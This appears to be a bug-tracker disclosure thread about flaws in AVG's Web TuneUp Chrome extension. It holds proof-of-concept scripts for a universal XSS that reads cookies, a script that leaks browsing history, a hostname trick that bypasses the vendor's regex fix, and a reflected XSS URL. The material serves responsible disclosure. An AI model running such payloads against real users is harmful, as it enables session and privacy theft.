I sent the angry email below to the vendor:


Hello, I've just been looking at your antivirus product, and the first thing I noticed was you force install a Chrome extension called "AVG Web TuneUp" with extension id chfdnecihphmhljaaejmgoiahnihplgn. I can see from our statistics it has nearly 9 million active Chrome users.

Apologies for my harsh tone, but I'm really not thrilled about this trash being installed for Chrome users. The extension is so badly broken that I'm not sure whether I should be reporting it to you as a vulnerability, or asking the extension abuse team to investigate if it's a PuP.

Nevertheless, my concern is that your security software is disabling web security for 9 million Chrome users, apparently so that you can hijack search settings and the new tab page.

There are multiple obvious attacks possible, for example, here is a trivial universal xss in the "navigate" API that can allow any website to execute script in the context of any other domain. For example, attacker.com can read email from mail.google.com, or corp.avg.com, or whatever else. I hope the severity of this issue is clear to you, fixing it should be your highest priority.

<script>
    for (i = 0; i < 256; i++) {
        window.postMessage({ origin: "web", action: "navigate", data: {
           url: "javascript:document.location.hostname.endsWith('.avg.com')"
                + "?"
                    + "alert(document.domain + ':' +document.cookie)"
                + ":"
                    + "false",
           tabID: i
        }}, "*");
    }
</script>

This demo will just alert(document.cookie) if you have a tab open on avg.com, but you get the idea. That's not all, basically every API I look at is just plain broken. For example, you're exposing browsing history to the internet via the "recently" api. This code should tell you all your recent navigations:

<script>
window.addEventListener("message", receiveMessage, false);
window.postMessage({ from: "web", to: "content", method: "recently" }, "*")

function receiveMessage(event)
{
    if (event.data != undefined && event.data.historyItems != undefined) {
        var obj = JSON.parse(event.data.historyItems);

        document.write("Here is a list of websites you've been visiting");
        document.write("<br>");
        for (i in obj) {
            var d = new Date(obj[i]);
            document.write("<a href=" + i + ">" + i + "</a> on " + d);
            document.write("<br>");
        }
    }
}
</script>

I'm sure if I keep looking I'll be able to turn this into remote code execution, but hopefully this is enough for now.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.

Disappointed, Tavis.

Response:

Hello Tavis,
 
Thank you for the report. It has now reached the proper personnel in AVG.

Issue 673 has been merged into this issue.

Issue 674 has been merged into this issue.

AVG submitted an extension with a "fix", but the fix was obviously incorrect.

I sent the following reply:


Hey, I've looked at the extension, thanks for getting it to us quickly. Unfortunately, this is not an acceptable fix.

The solution that you submitted was this:

var match = event.origin.match(/https?:\/\/.*\.avg\.com/i);

if (match ! null {
...
}

This is unacceptable, and simply checks if the message origin contains the string ".avg.com". This is unacceptable because anyone can put that string in their hostname. This simply doesn't protect against the original problem we described.

For example the following code *will* return a match:

 "https://www.avg.com.www.attacker.com".match(/https?:\/\/.*\.avg\.com/i)

Additionally:

* This still allows a mitm to inject javascript into *any* origin, even a secure origin. This means users of this extension get no protection from SSL.
* Any XSS on avg.com can be used to compromise chrome users.

Thanks, Tavis.

I added the following clarification about the mitm attack:

Hi Tony, I just wanted to make sure the MITM issue is clear for your team, as I didn't explain it very well.

Your proposed code doesn't require a secure origin, that means it permits http:// or https:// protocols when checking the hostname. Because of this, a network man in the middle can redirect a user to http://attack.avg.com, and supply javascript that opens a tab to a secure https origin, and then inject code into it. This means that a man in the middle can attack secure https sites like GMail, Banking, and so on. 

To be absolutely clear: this means that AVG users have SSL disabled.

If you or your team have questions about this, please let me know.

Thanks, Tavis.

AVG provided a new fix that whitelisted the domains "mysearch.avg.com" and "webtuneup.avg.com" only. I think this is the best we're likely to get, so I sent this:

I took a look, I think this approach will work. It does have the limitation that any XSS or mixed-content on the whitelisted domains will have permission to compromise the entire internet.

Unfortunately, these are not difficult to find: I'm not a web security expert and found a few in under a minute of looking, here's an example:

http://webtuneup.avg.com/static/dist/app/4.0.5.0/interstitial.html?risk=%3Cimg%20src=x%20onerror=alert(1)%3E&searchParams=%7B%22lang%22%3A%22en%22%2C%22pid%22%3A%22pid%22%2C%22v%22%3A%22vv%22%7D

To be clear, any XSS bug on that domain means that all AVG users can have their banking, email, everything compromised, so it really needs to be well maintained and audited.

I suppose on the understanding that you get a professional web audit of those whitelisted domains, this fix looks okay.

This isssue appears to be resolved in version 4.2.5.169 of the chrome extension, which looks like it's about to be made available for update on the webstore...

I believe this issue is resolved now, but inline installations are disabled while the CWS team investigate possible policy violations.

Please note you missed the closing parenthesis: 

if (match ! null {

This is very important to the syntax of JavaScript, it should be: 

if (match ! null) {

I understand the importance of providing clear guidance to vendors, but can we obfuscate the POC XSS that can be used to pwn 9 million AVG users from the public forum post?

The XSS you're referring to cannot be used as-is due to mixed-content, it was intended to be illustrative only.

This is not a public discussion forum, so I'm restricting further comments.